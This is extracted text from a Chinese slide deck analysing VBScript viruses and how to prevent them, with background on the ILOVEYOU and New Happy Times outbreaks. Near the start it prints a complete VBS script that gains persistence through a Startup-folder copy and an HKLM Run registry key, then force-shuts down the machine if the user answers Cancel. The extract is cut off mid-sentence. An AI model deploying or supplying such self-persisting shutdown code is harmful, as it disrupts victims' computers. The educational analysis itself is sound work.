脚本病毒原理分析与防范..pptVIP

目录 一、Vbs脚本病毒的特点及发展现状 二、Vbs脚本病毒原理分析 三、如何防范vbs脚本病毒 四、对所有脚本类病毒发展的展望 自动关机 Dim fs, dirwin, c,Wll, str,strr,r Set fs = CreateObject(Scripting.FileSystemObject) Set dirwin = fs.GetSpecialFolder(1) Set Wll = WScript.CreateObject(WScript.Shell) Set c = fs.GetFile(WScript.ScriptFullName) str =HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wxb if (fs.FileExists(dirwin\wxb.vbs)) Then call Show_And_Do(reg) elseif (fs.FileExists(C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs)) Then call Show_And_Do(Startup) else On Error Resume Next strr= Wll.RegWrite str, C:\WINDOWS\system32\wxb.vbs, REG_SZ strr=Wll.Regread (str) if strr= then c.Copy(C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs) else c.Copy(dirwin\wxb.vbs) end if end if sub Show_And_Do(s) dim f r = MsgBox (提问：你认为你是猪吗？ Chr(13) Chr(10) 确定－是猪 Chr(10) 取消－不是猪, 4145, MsgBox Example) If r = 1 Then if s=Startup then set f = fs.GetFile(C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs) f.Delete() elseif s=reg then Wll.RegDelete str set f = fs.GetFile(dirwin\wxb.vbs) f.Delete() end if Else wll.run Shutdown.exe -s -f -t 0 End If end sub 网络的流行，让我们的世界变得更加美好，但它也有让人不愉快的时候。当您收到一封主题为“I Love You”的邮件，用兴奋得几乎快发抖的鼠标去点击附件的时候；当您浏览一个信任的网站之后，发现打开每个文件夹的速度非常慢的时候，您是否察觉病毒已经闯进了您的世界呢？2000年5月4日欧美爆发的“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播，爱虫病毒在短短几天内狂袭全球数百万计的电脑。微软、 Intel等在内的众多大型企业网络系统瘫痪，全球经济损失达几十亿美元。而去年爆发的新欢乐时光病毒至今都让广大电脑用户更是苦不堪言。 上面提及的两个病毒最大的一个共同特点是：使用VBScript编写。以爱虫和新欢乐时光病毒为典型代表的VBS脚本病毒十分的猖獗，很重要的一个原因就是其编写简单。下面我们就来逐一对VBS脚本病毒的各个方面加以分析： 一、Vbs脚本病毒的特点及发展现状 VBS病毒是用VB Script编写而成，该脚本语言功能非常强大，它们利用Windows系统的开放性特点，通过调用一些现成的Windows对象、组件，可以直接对文件系统、注册表等进行控制，功能非常强大。应该说病毒就是一种思想，但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点： 1．编写简单，一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。 2．破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃，网络发生严重阻塞。 3．感染力强。由于脚本是直接解释执行，并且它不需要像PE病毒那样，需要做复杂的PE文件格式处理，因此这类病毒可以直接通过自我复制的方式感染其他同类文件，并且自我的异常处理变得非常容易。 4．传播范围大。这类病毒通过htm文档，Email附件或其它方式，可以在很短时间内传遍世界各地。 5．病毒源码容易被获取，变种多。由于VBS